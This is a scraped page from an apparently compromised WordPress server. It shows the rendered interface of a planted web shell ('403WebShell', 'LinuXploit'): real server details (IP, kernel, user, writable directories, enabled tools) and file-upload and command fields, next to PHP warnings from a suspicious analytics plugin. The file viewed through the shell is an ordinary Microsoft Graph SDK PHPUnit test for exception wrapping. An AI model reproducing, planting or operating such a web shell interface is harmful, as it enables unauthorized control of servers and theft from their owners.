Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/thread-self/cwd/vendor/microsoft/microsoft-graph/tests/Core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/cwd/vendor/microsoft/microsoft-graph/tests/Core/ExceptionWrapperTest.php
<?php
use GuzzleHttp\Exception\BadResponseException;
use GuzzleHttp\Psr7\Request;
use GuzzleHttp\Psr7\Response;
use Microsoft\Graph\Core\ExceptionWrapper;
use PHPUnit\Framework\TestCase;

class ExceptionWrapperTest extends TestCase
{
    protected $responseBodies;
    protected $autoBadResponseExceptions;
    protected $manualBadResponseExceptions;

    public function setUp(): void
    {
        $this->responseBodies = array(
            'short' => json_encode(array('body' => 'content')), // not truncated by Guzzle
            'long' => json_encode(array('body' => base64_encode(random_bytes(120)) . '.')), // truncated by Guzzle
        );

        $this->autoBadResponseExceptions = array();
        $this->manualBadResponseExceptions = array();
        foreach ($this->responseBodies as $name => $responseBody) {
            $autoBadResponseException = GuzzleHttp\Exception\RequestException::create(new Request("GET", "/endpoint"), new Response(400, [], $responseBody));
            assert($autoBadResponseException instanceof BadResponseException);
            $this->autoBadResponseExceptions[$name] = $autoBadResponseException;

            $manualBadResponseException = new BadResponseException("Error: API returned 400", new Request("GET", "/endpoint"), new Response(400, [], $responseBody));
            $this->manualBadResponseExceptions[$name] = $manualBadResponseException;
        }
    }

    public function testWrapBadResponseExceptionReturnsInstanceOfSameClass()
    {
        $name = 'short';

        $ex = $this->autoBadResponseExceptions[$name];
        $wrappedException = ExceptionWrapper::wrapGuzzleBadResponseException($ex);
        $this->assertInstanceOf(get_class($ex), $wrappedException);

        $ex = $this->manualBadResponseExceptions[$name];
        $wrappedException = ExceptionWrapper::wrapGuzzleBadResponseException($ex);
        $this->assertInstanceOf(get_class($ex), $wrappedException);

        $name = 'long';

        $ex = $this->autoBadResponseExceptions[$name];
        $wrappedException = ExceptionWrapper::wrapGuzzleBadResponseException($ex);
        $this->assertInstanceOf(get_class($ex), $wrappedException);

        $ex = $this->manualBadResponseExceptions[$name];
        $wrappedException = ExceptionWrapper::wrapGuzzleBadResponseException($ex);
        $this->assertInstanceOf(get_class($ex), $wrappedException);
    }

    public function testWrapAutoBadResponseExceptionHasResponseBody()
    {
        $name = 'short';
        $responseBody = $this->responseBodies[$name];
        $ex = $this->autoBadResponseExceptions[$name];
        $wrappedException = ExceptionWrapper::wrapGuzzleBadResponseException($ex);
        $this->assertStringContainsString($responseBody, $wrappedException->getMessage());

        $name = 'long';
        $responseBody = $this->responseBodies[$name];
        $ex = $this->autoBadResponseExceptions[$name];
        $wrappedException = ExceptionWrapper::wrapGuzzleBadResponseException($ex);
        $this->assertStringContainsString($responseBody, $wrappedException->getMessage());
    }

    public function testWrapManualBadResponseExceptionHasNotResponseBody()
    {
        $name = 'short';
        $responseBody = $this->responseBodies[$name];
        $ex = $this->manualBadResponseExceptions[$name];
        $wrappedException = ExceptionWrapper::wrapGuzzleBadResponseException($ex);
        $this->assertStringNotContainsString($responseBody, $wrappedException->getMessage());

        $name = 'long';
        $responseBody = $this->responseBodies[$name];
        $ex = $this->manualBadResponseExceptions[$name];
        $wrappedException = ExceptionWrapper::wrapGuzzleBadResponseException($ex);
        $this->assertStringNotContainsString($responseBody, $wrappedException->getMessage());
    }

    public function testWrapBadResponseExceptionWithInvalidInput()
    {
        $this->expectException(TypeError::class);
        ExceptionWrapper::wrapGuzzleBadResponseException(null);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit